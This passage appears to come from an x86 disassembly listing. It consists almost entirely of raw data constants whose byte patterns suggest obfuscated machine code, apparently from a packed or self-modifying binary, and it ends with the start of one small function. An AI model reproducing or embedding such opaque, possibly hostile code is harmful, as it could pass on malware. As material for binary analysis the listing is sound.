		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0B6057AC3h
		dd 89F1DF80h, 9D8B0441h, 6031F05h, 2021BD83h, 0F000603h
		dd 3C84h, 41950B00h, 8906032Ch,	32C5D8Dh, 2595FF06h, 6A060321h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 15F0C357h, 0AF45552Ah, 3360B6DCh,	31DA195h
		dd 0F1BD8306h, 1060330h, 80850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0FE925C3h
		dd 56000000h, 0E029D683h, 61067BFBh, 0A829EEDDh, 4BE94864h
		dd 29000000h, 311E98Dh,	0B6B58B06h, 0C706035Eh,	6, 63B58B00h
		dd 0C706035Ch, 6, 9D8BCF00h, 603207Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0DC35343h, 1579E43Dh, 14D958Bh
		dd 0BD830603h, 6031EF9h, 77840F00h, 0E8000001h,	0Dh, 0EC796D27h
		dd 286C5D56h, 0ED26EB7Fh, 5FD680F3h, 10810F5Bh,	0E9000000h
		dd 0Bh,	928DE23Ah, 0EE494035h, 83E745DDh, 30615BDh, 850F0106h
		dd 129h, 21DD8D09h, 8D8B0603h, 6034CB8h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ch, 91C35747h, 3C5A67C0h
		dd 79F50B0Dh, 2DA19501h, 9D090603h, 60313B5h, 8B0001C6h
		dd 31A519Dh, 0D38A6006h, 4E8h, 8000h, 0BB575000h, 2165E3B3h
		dd 24448B5Bh, 6E904h, 60EB0000h, 0A07A079Ah, 54B3008Bh
		dd 4244489h, 0FA8B6660h, 0FF16BE66h, 0B5895861h, 6032FEDh
		dd 0BE8h, 2C4B2700h, 0A75B3616h, 41AF2057h, 280D9D89h
		dd 6A5A0603h, 0F28166FFh, 95FF2ACFh, 6030F85h, 30AD9D8Bh
		dd 0E9610603h, 0Dh, 6CBF646Dh, 0D6647E92h, 97541B94h, 0D95FF0Ch
		dd 6A060332h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0C4F8C352h, 0E99BF2C6h, 9, 325AE5F0h
		dd 8321EF71h, 67BA528Bh, 5A0D87D3h, 4CB88D8Bh, 0BB510603h
		dd 35DCC640h, 6A01FE5Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 8923C351h, 3062195h
		dd 0B9BD8306h, 1060310h, 8850Fh, 0F08A0000h, 0CE58531h
		dd 0C08B0603h, 9B19589h, 0BD830603h, 6031039h, 83097500h
		dd 3111DBDh, 1A740006h,	0C08B5350h, 1775858Bh, 85890603h
		dd 6031775h, 0B0919D8Dh, 0D3FF0605h, 0BD83585Bh, 603111Dh
		dd 50187400h, 75858B53h, 89060317h, 3177585h, 809D8D06h
		dd 0FF0605ADh, 29585BD3h, 312A99Dh, 41958B06h, 6A060320h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0FEDEC350h, 6DBD29EEh, 0B206031Dh, 8BC08B72h
		dd 320199Dh, 0F9BD8306h, 6031Eh, 5D850Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0D3BC7FC3h, 56A67417h, 80F28067h, 0BB66E5F7h, 0BD834161h
		dd 60320D5h, 24840F00h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0A34CC353h
		dd 0CAB5DA51h, 833D0FF7h, 31EF9BDh, 840F0006h, 12h, 0BD83DE8Bh
		dd 60304D9h, 3840F00h, 0F000000h, 0BD83D3B7h, 6031EF9h
		dd 29840F00h, 0F000000h, 1082h,	0BE900h, 2B70000h, 4D287ABFh
		dd 64971C38h, 0D9BD8399h, 60304h, 6840Fh, 95310000h, 6033281h
		dd 1EF9BD83h, 0F000603h, 2784h,	12E900h, 0F0AD0000h, 8E8A7314h
		dd 0B25C3D75h, 0FADF2EC1h, 0A0C51A07h, 1FDDBD83h, 0F000603h
		dd 384h, 0DABF0F00h, 1EF9BD83h,	0F000603h, 3A84h, 7E800h
		dd 647E0000h, 541B94D6h, 61958B97h, 5B060321h, 3890Fh
		dd 8B660000h, 29BD83D0h, 6031Dh, 11840Fh, 81660000h, 0FFB8C5D3h
		dd 320E195h, 8D958B06h,	8B060310h, 51006AC0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 13ECE49Ah
		dd 1BDD7C19h, 611958Bh,	0BD830603h, 6031039h, 83097500h
		dd 3111DBDh, 1A740006h,	0C08B5350h, 2391858Bh, 85890603h
		dd 6032391h, 0B0F89D8Dh, 0D3FF0605h, 0BD83585Bh, 603111Dh
		dd 50187400h, 91858B53h, 89060323h, 3239185h, 999D8D06h
		dd 0FF0605ADh, 31585BD3h, 3211585h, 0D08B6606h,	25019D8Bh
		dd 0C08B0603h, 820Fh, 0BD830000h, 6031EF9h, 0EC840F00h
		dd 0F000004h, 9D8BD9BFh, 60326CDh, 2C69BD83h, 0F020603h
		dd 5284h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 1B7B1EECh, 0CA63D6EDh, 10E93AB5h
		dd 0A2000000h, 5F91671Dh, 0A0030769h, 632AB32Dh, 51F322BEh
		dd 5ADBB70Fh, 30F1BD83h, 0F010603h, 685h, 0D5958B00h, 83060324h
		dd 323E5BDh, 840F0006h,	12Ah
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0F5C35040h
		dd 0BC7A3BB7h, 2D62A9Ch, 0FE8E8h, 484A0000h, 74651DA8h
		dd 7E5AD9FCh, 0E620587Ch, 0A5BD8991h, 5B060323h, 0C2AABA60h
		dd 8D8B519Ah, 6034CB8h,	1E8DBD89h, 1FE0603h, 0E8DFB70Fh
		dd 4, 80h, 8B50D78Bh, 24448BDFh, 8B3EB204h, 893AB200h
		dd 60042444h, 708376BEh, 52505044h, 585A310Fh, 6A586159h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 20DDC351h, 6E9h, 0A09BCA00h, 6A892B95h, 895160FFh
		dd 32E8DBDh, 958B5E06h,	60313E5h, 1858961h, 0FF060322h
		dd 30F8595h, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 1ADC3315h, 9589D28Ch, 6032385h, 52006A61h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0CF8D2191h, 0C23E7019h, 0BA66AAF5h, 0F601454h, 84h
		dd 2840F00h, 8B000000h,	0E96061FBh, 0Ch, 3C121FDh, 61685D3Ah
		dd 0BE9BF8AFh, 8B15E680h, 34CB88Dh, 0E1806006h,	0AE9E9h
		dd 8A0D0000h, 0FC4B5718h, 0A562CB46h, 0F01FE61h, 0D87h
		dd 8E900h, 0DAF00000h, 0B9BFD70Eh, 0B868AE46h, 66879A72h
		dd 481D68Bh, 658DC824h,	599D8B78h, 6A06031Ah, 119529FFh
		dd 0FF06030Ch, 30F8595h, 49958B06h, 61060317h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 85C35747h, 633BAEA4h
		dd 89BD8D99h, 6006030Bh, 880F60h, 81000000h, 0DCABE5DFh
		dd 858B6166h, 6032531h,	1C4F8B61h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0A4C35040h,	6A65F220h, 0D5958B01h
		dd 91060323h, 3EB4BB66h, 91D6B350h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 5DC35040h, 0B9CFBA23h, 858D5790h
		dd 6063BF7h, 29BD8960h,	0E8060300h, 9, 0CF5DCBC7h, 61A25769h
		dd 615BF8E1h, 0D68BD0FFh, 0F9204F8Bh, 5BBFD281h, 36A4565h
		dd 5A77B756h, 89D4B350h, 858D240Ch, 6063BF7h, 0D0FFD38Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B2C35343h
		dd 2E59D8Bh, 0BD8D0603h, 6030B89h, 1C4F8BF5h, 2ED58589h
		dd 16A0603h, 0CCF38166h, 17B25009h, 0E8240C89h,	8, 0E4B04E04h
		dd 9CFF2C82h, 13E9h, 14B8A00h, 98EE8AD3h, 3DCD346Dh, 0D050B724h
		dd 879AE082h, 0F7858D5Ah, 0F06063Bh, 0D0FFD8B7h, 6E8h
		dd 8D24100h, 5BBE3229h,	0E8204F8Bh, 0Fh, 0AFEE225h, 0E6C9091Ch
		dd 190201B8h, 52A6122Dh, 939BD89h, 5B5A0603h, 0D98B036Ah
		dd 0AB40DA81h, 509119E5h, 0F4AB252h, 61606031h,	10E8h
		dd 3932000h, 9ADBECCCh,	0E3167360h, 97B14B8h, 5A615FEEh
		dd 0CCB25058h, 858DF891h, 6063BF7h, 13A59D8Bh, 0D0FF0603h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 90C35646h
		dd 0F69FC960h, 0CE918h,	0E8E20000h, 379CACFh, 0AC0A2EB2h
		dd 8D8B8496h, 6034CB8h,	1BCDB509h, 0D7800603h, 6A01FE9Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8B9CC350h, 34CB885h, 8E906h, 86940000h, 0B94B423Ah
		dd 0FEF9BAh, 0EDB53360h, 8B06030Bh, 329CD9Dh, 13E86106h
		dd 0E3000000h, 151D1870h, 2F21E3F5h, 37E2B44Bh,	19485181h
		dd 950B810Bh, 6031259h,	89016A5Bh, 311F98Dh, 4E806h, 9FFF0000h
		dd 0BA66FFFFh, 0BB50E92Bh, 5362E36Dh, 424448Bh,	1C5BA53h
		dd 8B5B0D4Fh, 28B0F00h,	0B2000000h, 24448989h, 1CBB6604h
		dd 6A5894h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 33BD2FC3h, 300299Dh, 1858D06h, 0E806063Ch
		dd 5, 29C4F1D7h, 11E9D6h, 0A7E70000h, 0A1B51BE3h, 0D07939DBh
		dd 47346F75h, 5B238D4Dh, 0FFDF8B66h, 85958BD0h,	83060324h
		dd 320D5BDh, 840F0006h,	0BDh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 54C35141h, 32C056F9h, 95894E0Fh
		dd 91BD83CAh, 106031Eh,	8B850Fh, 9D8B0000h, 6032901h, 3C0B8D8Dh
		dd 85890606h, 60328F1h,	0BB66036Ah, 16A3E50h, 2C799D8Bh
		dd 0D1FF0603h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	17C35040h, 3291958Bh, 0BD290603h, 6030039h, 6AFC016Ah
		dd 99D8B01h, 0FF060306h, 0B50153D1h, 6030CA1h, 8FBA665Bh
		dd 5D0AE8DFh, 6AFA58h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 1DF768C3h, 0DE91846Ah, 6A206AB3h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 1CF7C351h, 0D4F48C64h, 0DE806B08h, 0D1BF0FD2h
		dd 870FFF6Ah, 18h, 13E9h, 0CA343400h, 3332BCD0h, 330CFB73h
		dd 9B592125h, 69DFF329h, 0F8595FFh, 80520603h, 0B85AF8F3h
		dd 0
		dd 1B299D8Bh, 0C00B0603h, 65840Fh, 0DE90000h, 0D0000000h
		dd 0A182437Ah, 8C8A392Ah, 68BEE922h, 68A0F50h, 89000000h
		dd 325D195h, 0BD835A06h, 6030CC9h, 38840F00h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8970C352h, 3261185h, 1D95FF06h, 0E906032Ah
		dd 0Bh,	6C1F562Eh, 2500D9F2h, 8B9341D0h, 301FD85h, 0C6D78B06h
		dd 952B0000h, 60317A1h,	52006A58h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 9589CC93h, 60324B1h, 29D98C66h
		dd 30ADD95h, 4C1F606h, 73840Fh,	9D8B0000h, 60328CDh, 68E9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0A0BA5F63h, 8B342D4Eh, 32F05B5h,	0E2816606h
		dd 0C681332Fh, 1180h, 1BD99D33h, 6C70603h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 1EC35747h
		dd 0A5D3C0Ah, 89D1DBB9h, 332698Dh, 6A5E06h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0ABB689C3h
		dd 582F3846h, 83AF4E5Dh, 840F00F8h, 0B5Bh, 8BD88B66h, 1F883D9h
		dd 20C850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0ECB710C3h, 6D1A1F14h, 0E952A2AEh
		dd 10h,	1AE6CBFAh, 2522305Eh, 0CAA36F3Ah, 0BDB822F5h, 0B8h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0F9F152AEh, 0AA4E1E89h, 9589B60Fh, 6030F31h
		dd 22A19501h, 0C00B0603h, 113840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0F3CDBAC3h
		dd 2CD4B823h, 60B70669h, 0A918D0Bh, 0BD8B0603h,	6032501h
		dd 1F88361h, 106840Fh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 9CCF4AC3h, 0B6C4BBCFh
		dd 890F024Ah, 6, 31198D29h, 0F8830603h,	63840F03h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 8FE7C353h, 8ECA81DAh, 2B168723h, 55006AC0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 713A5FCCh, 8DEC7567h, 5B7974BDh, 0DD8D8900h,	0FF060321h
		dd 0BD2960E7h, 6031785h, 8061CB8Ah, 1B8FFEEh, 8B000000h
		dd 3201995h, 74BD8D06h,	89005B79h, 3220DBDh, 6AE7FF06h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 7C5EC352h, 823147B8h, 44BD8D37h, 89060343h
		dd 32A61B5h, 325E906h, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0B4379C3h, 4D1385C7h
		dd 50603h, 81660000h, 0B89C5BC3h, 5, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 42C35343h, 9E8h, 9149ED00h
		dd 68747169h, 9D8B002Eh, 6032A35h, 0E9D98B5Bh, 877h, 2E519D8Bh
		dd 0F8830603h, 44850F02h, 6A000001h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0DC7FC351h
		dd 0A1198EA6h, 1C39B589h, 0B80603h, 8B000000h, 3025D9Dh
		dd 0FC00B06h, 0F684h, 5E900h, 0D33C0000h, 83F28597h, 840F01F8h
		dd 0FFFFFF58h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	0E8C35545h, 0DCBA1AFAh,	0CAE837D3h, 0D9D8B8Ch
		dd 83060328h, 840F03F8h, 0FFFFFEBAh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0E9C35747h,	49300B62h, 0B70F517Eh
		dd 6AC02BDBh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0AB3CC350h, 60CF1944h,	10899503h
		dd 0B50B0603h, 6030289h, 74BD8D61h, 6A005B79h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0B75BC353h, 437B2651h, 0BBC2C98Dh, 1F3A8DAFh, 0AC5958Bh
		dd 0E7FF0603h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	99C35040h, 79BD8918h, 8D06032Ch, 3453CBDh, 81950906h
		dd 0E906031Fh, 16Bh, 83F9C380h,	850F03F8h, 63h,	46D0BD8Dh
		dd 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0FF569C3h, 9C11D44Bh, 6800F69h, 9000000h
		dd 311159Dh, 125E906h, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 925579C3h, 5209A7EDh
		dd 4DBB7BD2h, 8346A2F9h, 850F05F8h, 0Eh, 0B719D89h, 0A4E90603h
		dd 0F000006h, 0F883D6BFh, 50850F06h, 60000000h,	0A97D081h
		dd 85032E13h, 6033061h,	0C8BD8D61h, 89060348h, 32525BDh
		dd 0BDE906h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 10E96BC3h, 1B000000h, 9EEB779Dh
		dd 0EE6119CEh, 1C8ED385h, 83C8F72Dh, 850F07F8h,	38h, 1BC4CB81h
		dd 0BD8D25A6h, 6030D05h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 19h, 0F2C35646h, 0E3ADBED4h, 0B1E919h, 0B5290000h
		dd 6031145h, 0F0AF883h,	4285h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 6E8409A1h
		dd 17A1958Bh, 0B5090603h, 6032509h, 20B99D8Bh, 0BD8D0603h
		dd 6034AC0h, 0E9D38B66h, 3, 57D18B66h, 10799D89h, 6FB90603h
		dd 81516351h, 0CA23ECE3h, 3F8307h, 41840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0A522B0C3h, 8D01106Ch, 6033085h, 0CE800F30h,	8BC9D194h
		dd 0BD3147D1h, 603297Dh, 0FFFFBCE9h, 0CD9D8BFFh, 5F060328h
		dd 89DE8B66h, 34CBCBDh,	53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0A98D8916h, 8D06030Ch
		dd 31DA58Dh, 2840F06h, 0B3000000h, 0F1B5FFBAh, 6A060320h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0AD1BC357h, 0E9CBA3FEh, 0D38B8FF5h, 14E9h
		dd 0E9A3E400h, 0A4B813FDh, 0D73A3D33h, 237C170Bh, 269493h
		dd 0C3858D28h, 500605A3h, 53C6BD8Dh, 8D8D0603h,	603701Fh
		dd 831ABCB8h, 30CF2B54h, 47C8D007h, 8DF87549h, 36F87B5h
		dd 378D8D06h, 2B060370h, 33A4F3CFh, 0B8C9h, 0C00B0000h
		dd 0BD834674h, 6030CC9h, 0FF067400h, 32A1D95h, 0BCB58B06h
		dd 8D06034Ch, 5A3C385h,	8DD0FF06h, 3412285h, 0C7D0FF06h
		dd 30A7185h, 106h, 0F1A58B00h, 8B060313h, 31B1DB5h, 61AD8B06h
		dd 33060304h, 0CC2C0h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0E2C35242h, 0A65E189Bh, 0BD8913E8h, 603236Dh
		dd 0BD83F38Ah, 6031BB1h, 0F840F00h, 80000000h, 95FF2EC3h
		dd 6031109h, 1D758501h,	0BD830603h, 6032E85h, 7F850F00h
		dd 0E9000001h, 0Bh, 57A954C5h, 2C5908E2h, 83C7667Ch, 31E91BDh
		dd 850F0106h, 162h, 83DBBF0Fh, 31BDDBDh, 840F0006h, 152h
		dd 2C99D0Bh, 0BD830603h, 6034D0Fh, 3F840F00h, 6A000001h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 6A63C357h, 70B6BB6Ah, 858D7750h, 605A3C3h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0E7C35747h
		dd 617763D9h, 8B5AF851h, 34CBCB5h, 299D8B06h, 8B060303h
		dd 313059Dh, 50D0FF06h,	78F38166h, 85C65A70h, 6032F39h
		dd 64F78054h, 4FD48168h, 0F98A5394h, 2434815Bh,	6B016A75h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 34C35141h
		dd 7E8h, 861AFE00h, 6F8938D0h, 59B5FF5Ah, 6A060313h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 9031C356h, 42EBEB12h, 637ECBD2h, 1CB5BD89h, 0BD310603h
		dd 6030109h, 38A7858Dh,	830F0603h
		dd 4, 0FBF9BA66h, 0EF80D0FFh, 8B006A9Fh, 31FF6ADAh, 33139B5h
		dd 66D0FF06h, 0FACEEB81h, 2215B5FFh, 6A0603h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0B89D22C3h
		dd 128CDA3Eh, 0BD09CB6Fh, 6032901h, 20F195FFh, 0B58B0603h
		dd 6034CBCh, 6AC3DA8Bh,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 518BC353h, 0A1E5D192h
		dd 8B52426Bh, 301FDB5h,	72BB6606h, 0FF60B4Ah, 2884h, 0C6DA8A00h
		dd 6A0006h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0B4CCABC3h, 0F38166h, 0C4858926h,	0F06034Ch
		dd 0C8Ah, 6810F00h, 0F000000h, 83h, 0F88300h, 2D5840Fh
		dd 9D8B0000h, 6031281h,	0B8h, 0D6BF0F00h, 0F00F883h, 0A884h
		dd 13E900h, 0FFF00000h,	1A22CFB0h, 2221EC92h, 0C0E21F2Ch
		dd 0F627EBCEh, 2F883F0h, 6D850Fh, 14B70000h, 433F858Dh
		dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 31400DC3h, 0BB8CB9A5h, 9292DEEh, 0EE80000h
		dd 9F000000h, 12945FA6h, 7E9124A7h, 44A6C2E9h, 5AD780AAh
		dd 6651505Bh, 895ADF8Bh, 33522404h, 309E19Dh, 0E9C35B06h
		dd 0Fh,	3AA07A07h, 2C6653DCh, 0FDEC8EE3h, 0B8CD2C38h, 0
		dd 0E9DFBF0Fh, 223h, 8E9h, 9D430B00h, 52C9FDEFh, 1B892h
		dd 8D010000h, 603225Dh,	0BD8D4CB3h, 6034344h, 3810Fh, 0DA800000h
		dd 0B8E952h, 9D8B0000h,	60317A9h, 0F02F883h, 4585h, 8BDA8B00h
		dd 32D159Dh, 3CBD8D06h,	0E9060345h, 9, 0C86599A8h, 8EFE27Ch
		dd 88E9BCh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0C380D6C3h, 3642BB22h, 0F8833793h
		dd 33850F03h, 66000000h, 8DE8B4BAh, 346D0BDh, 13E806h
		dd 0CB180000h, 8FB20A4Ch, 2E4BD9FFh, 0E65ED801h, 8CF65BF7h
		dd 0E281666Eh, 0E95A5771h, 2Eh,	2CB19589h, 0F8830603h
		dd 1F850F05h, 0FC000000h, 86E9h, 14E900h, 0F9FD0000h, 0BAB6660Dh
		dd 8C5D36C0h, 7E7B539Fh, 2C6C4193h, 6A575741h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0B98EC351h, 5163516Fh, 3800Fh, 0B70F0000h, 3F83DFh
		dd 39840Fh, 93B60000h, 85290F30h, 6030FB1h, 6AC9D1h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 2C9774C3h, 13F33D42h, 0DE8B6647h, 0FFFFC0E9h, 838EB6FFh
		dd 850F05F8h, 0C7h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0A5C35343h, 0D2FD4EFBh, 90B61ECh, 300199Dh
		dd 0D98C6606h, 0C1F6D18Ah, 3B850F04h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 622AC353h, 0E39E064Eh, 0B8C0h, 0DF800000h, 61E959h
		dd 0B5290000h, 6030361h, 31F58589h, 858B0603h, 60331DDh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 36C35646h
		dd 6606FD9Ah, 0FF08C2BAh, 50006AE0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 7240B8EFh
		dd 0F753296h, 287h, 83DF8B00h, 320F1BDh, 850F0006h, 0BBh
		dd 10299D8Bh, 0E9500603h, 14h, 70A86539h, 8C3C4B17h, 593F954Ch
		dd 0EB96DDD9h, 6EF41E8Fh, 8B240489h, 30CCD9Dh, 8B665006h
		dd 85C65ADAh, 6032F39h,	24BB6645h, 0A9BB6674h, 26DB68B1h
		dd 870F663Dh, 11h, 9E8h, 7F76BA00h, 8905CF29h, 1FB35252h
		dd 2404815Ah, 2835428Eh, 35F28166h, 59B5FF35h, 0BA060313h
		dd 789CB95Fh, 38A7858Dh, 6A0603h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 5E4FBAC3h, 8BD0FF53h
		dd 0F18589D1h, 0E8060320h, 9, 4E3A7A21h, 86B61A4Eh, 21950164h
		dd 5B06032Ah, 25958B58h, 83060313h, 34D13BDh, 840F0006h
		dd 39h,	0F9A9BA66h, 2215B5FFh, 6A0603h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 39814FC3h
		dd 8AC3CFB7h, 0F195FFFDh, 89060320h, 31139BDh, 0F88306h
		dd 0D6850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 798A74C3h, 0BE943h, 35C90000h, 3E859BB5h
		dd 5F67AB1Dh, 0E1958B6Fh, 8306031Bh, 33059BDh, 840F0006h
		dd 38h,	0B5FFD38Bh, 6033059h, 0BC03BFBBh, 1B87Ah, 0FE80000h
		dd 1A000000h, 0AEB1084Ah, 0A8E747BEh, 0BB5C5462h, 85311E9Eh
		dd 60303F9h, 1ACE95Bh, 8D890000h, 6030255h, 2215B5FFh
		dd 0E6800603h, 15B5FF53h, 0E9060322h, 9, 84D1239Ah, 1901D176h
		dd 0F1B5FFA2h, 6A060320h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 2897C351h, 3453160h
		dd 0B589609Eh, 6030F2Dh, 4456BA66h, 150E961h, 958B0000h
		dd 6030C71h, 0C890F5Fh,	0F000000h, 688h, 840F00h, 83000000h
		dd 31AE1BDh, 850F0006h,	7Dh, 45B86660h,	870F61ECh, 6, 2C459D89h
		dd 85C60603h, 6032F39h,	319D8B4Dh, 6806031Fh, 0B3B7698Fh
		dd 3481DA8Bh, 821F2724h, 0C1958B17h, 0FF06031Bh, 32D11B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0C9373A1Dh, 6BE22074h, 0F59BD29h, 858D0603h
		dd 60338A7h, 0FAAABB66h, 8B66D0FFh, 0E18589D6h,	8906031Ah
		dd 323AD8Dh, 0B806h, 95890000h,	60324E9h, 4CBCBD89h, 0BD890603h
		dd 60326BDh, 840FC00Bh,	34h, 88E9FCh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 800F63C3h, 6, 1CA18529h, 0B5310603h,	60330EDh, 20F1B5FFh
		dd 0ECBB0603h, 8D6FD792h, 5A3C385h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 85388CE8h
		dd 38A0Fh, 8B660000h, 8E8DEh, 1F9D0000h, 0BE34C82Dh, 8D89968Dh
		dd 6031B89h, 0B650905Bh, 66505B0Ch, 90A987BAh, 5650D48Ah
		dd 53C6BD8Dh, 8D8D0603h, 6037903h, 8323BCB8h, 30CF2B74h
		dd 47C8D007h, 5EF87549h, 59BD8358h, 60330h, 8D8B0674h
		dd 6030111h, 0B8C933h, 0B000000h, 99840FC0h, 83000000h
		dd 30CC9BDh, 6740006h, 2A1D95FFh, 0B80603h, 0B000000h
		dd 830975C0h, 34CC4BDh,	9740106h, 4CC4BD83h, 75020603h
		dd 0BCB58B0Eh, 8D06034Ch, 5A3C385h, 8DD0FF06h, 3412285h
		dd 83D0FF06h, 32C69BDh,	2F750206h, 13F1A58Bh, 858B0603h
		dd 6033059h, 0C7240489h, 30A7185h, 106h, 0C0B58B00h, 8B06034Ch
		dd 30461ADh, 1B806h, 0CC20000h,	0C700EB00h, 30A7185h, 106h
		dd 0F1A58B00h, 8B060313h, 31B1DB5h, 61AD8B06h, 33060304h
		dd 0CC2C0h, 1BB1BD83h, 74000603h, 9BD830Fh, 60311h, 95FF0674h
		dd 6031109h, 4CBCB58Bh,	89C30603h, 330D995h, 0EBA6606h
		dd 7D958B16h, 2B06030Ah, 50006AD2h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 344C1DF9h, 0F0BEC122h
		dd 0E0DB8166h
		db 8Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_5436A1
